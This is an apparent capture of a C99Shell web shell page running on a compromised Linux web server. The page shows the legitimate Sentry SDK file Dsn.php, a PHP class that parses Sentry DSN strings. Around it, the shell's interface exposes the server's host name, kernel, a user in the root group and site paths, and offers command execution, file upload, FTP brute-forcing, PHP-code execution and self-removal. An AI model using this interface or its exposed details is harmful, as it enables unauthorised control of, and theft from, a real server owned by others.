!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/sentry/sentry/src/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Dsn.php (6.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Sentry;

/**
 * This class represents a Sentry DSN that can be obtained from the Settings
 * page of a project.
 *
 * @author Stefano Arlandini <sarlandini@alice.it>
 */
final class Dsn implements \Stringable
{
    
/**
     * @var string The protocol to be used to access the resource
     */
    
private $scheme;

    
/**
     * @var string The host that holds the resource
     */
    
private $host;

    
/**
     * @var int The port on which the resource is exposed
     */
    
private $port;

    
/**
     * @var string The public key to authenticate the SDK
     */
    
private $publicKey;

    
/**
     * @var string|null The secret key to authenticate the SDK
     */
    
private $secretKey;

    
/**
     * @var string The ID of the resource to access
     */
    
private $projectId;

    
/**
     * @var string The specific resource that the web client wants to access
     */
    
private $path;

    
/**
     * Class constructor.
     *
     * @param string      $scheme    The protocol to be used to access the resource
     * @param string      $host      The host that holds the resource
     * @param int         $port      The port on which the resource is exposed
     * @param string      $projectId The ID of the resource to access
     * @param string      $path      The specific resource that the web client wants to access
     * @param string      $publicKey The public key to authenticate the SDK
     * @param string|null $secretKey The secret key to authenticate the SDK
     */
    
private function __construct(string $schemestring $hostint $portstring $projectIdstring $pathstring $publicKey, ?string $secretKey)
    {
        
$this->scheme $scheme;
        
$this->host $host;
        
$this->port $port;
        
$this->publicKey $publicKey;
        
$this->secretKey $secretKey;
        
$this->path $path;
        
$this->projectId $projectId;
    }

    
/**
     * Creates an instance of this class by parsing the given string.
     *
     * @param string $value The string to parse
     */
    
public static function createFromString(string $value): self
    
{
        
$parsedDsn parse_url($value);

        if (
false === $parsedDsn) {
            throw new 
\InvalidArgumentException(sprintf('The "%s" DSN is invalid.'$value));
        }

        foreach ([
'scheme''host''path''user'] as $component) {
            if (!isset(
$parsedDsn[$component]) || (isset($parsedDsn[$component]) && empty($parsedDsn[$component]))) {
                throw new 
\InvalidArgumentException(sprintf('The "%s" DSN must contain a scheme, a host, a user and a path component.'$value));
            }
        }

        if (isset(
$parsedDsn['pass']) && empty($parsedDsn['pass'])) {
            throw new 
\InvalidArgumentException(sprintf('The "%s" DSN must contain a valid secret key.'$value));
        }

        if (!
\in_array($parsedDsn['scheme'], ['http''https'], true)) {
            throw new 
\InvalidArgumentException(sprintf('The scheme of the "%s" DSN must be either "http" or "https".'$value));
        }

        
$segmentPaths explode('/'$parsedDsn['path']);
        
$projectId array_pop($segmentPaths);
        
$lastSlashPosition strrpos($parsedDsn['path'], '/');
        
$path $parsedDsn['path'];

        if (
false !== $lastSlashPosition) {
            
$path substr($parsedDsn['path'], 0$lastSlashPosition);
        }

        return new 
self(
            
$parsedDsn['scheme'],
            
$parsedDsn['host'],
            
$parsedDsn['port'] ?? ('http' === $parsedDsn['scheme'] ? 80 443),
            
$projectId,
            
$path,
            
$parsedDsn['user'],
            
$parsedDsn['pass'] ?? null
        
);
    }

    
/**
     * Gets the protocol to be used to access the resource.
     */
    
public function getScheme(): string
    
{
        return 
$this->scheme;
    }

    
/**
     * Gets the host that holds the resource.
     */
    
public function getHost(): string
    
{
        return 
$this->host;
    }

    
/**
     * Gets the port on which the resource is exposed.
     */
    
public function getPort(): int
    
{
        return 
$this->port;
    }

    
/**
     * Gets the specific resource that the web client wants to access.
     */
    
public function getPath(): string
    
{
        return 
$this->path;
    }

    
/**
     * Gets the ID of the resource to access.
     *
     * @return int|string
     */
    
public function getProjectId(bool $returnAsString false)
    {
        if (
$returnAsString) {
            return 
$this->projectId;
        }

        @
trigger_error(sprintf('Calling the method %s() and expecting it to return an integer is deprecated since version 3.4 and will stop working in 4.0.'__METHOD__), \E_USER_DEPRECATED);

        return (int) 
$this->projectId;
    }

    
/**
     * Gets the public key to authenticate the SDK.
     */
    
public function getPublicKey(): string
    
{
        return 
$this->publicKey;
    }

    
/**
     * Gets the secret key to authenticate the SDK.
     */
    
public function getSecretKey(): ?string
    
{
        return 
$this->secretKey;
    }

    
/**
     * Returns the URL of the API for the store endpoint.
     */
    
public function getStoreApiEndpointUrl(): string
    
{
        return 
$this->getBaseEndpointUrl() . '/store/';
    }

    
/**
     * Returns the URL of the API for the envelope endpoint.
     */
    
public function getEnvelopeApiEndpointUrl(): string
    
{
        return 
$this->getBaseEndpointUrl() . '/envelope/';
    }

    
/**
     * Returns the URL of the API for the CSP report endpoint.
     */
    
public function getCspReportEndpointUrl(): string
    
{
        return 
$this->getBaseEndpointUrl() . '/security/?sentry_key=' $this->publicKey;
    }

    
/**
     * @see https://www.php.net/manual/en/language.oop5.magic.php#object.tostring
     */
    
public function __toString(): string
    
{
        
$url $this->scheme '://' $this->publicKey;

        if (
null !== $this->secretKey) {
            
$url .= ':' $this->secretKey;
        }

        
$url .= '@' $this->host;

        if ((
'http' === $this->scheme && 80 !== $this->port) || ('https' === $this->scheme && 443 !== $this->port)) {
            
$url .= ':' $this->port;
        }

        if (
null !== $this->path) {
            
$url .= $this->path;
        }

        
$url .= '/' $this->projectId;

        return 
$url;
    }

    
/**
     * Returns the base url to Sentry from the DSN.
     */
    
private function getBaseEndpointUrl(): string
    
{
        
$url $this->scheme '://' $this->host;

        if ((
'http' === $this->scheme && 80 !== $this->port) || ('https' === $this->scheme && 443 !== $this->port)) {
            
$url .= ':' $this->port;
        }

        if (
null !== $this->path) {
            
$url .= $this->path;
        }

        
$url .= '/api/' $this->projectId;

        return 
$url;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--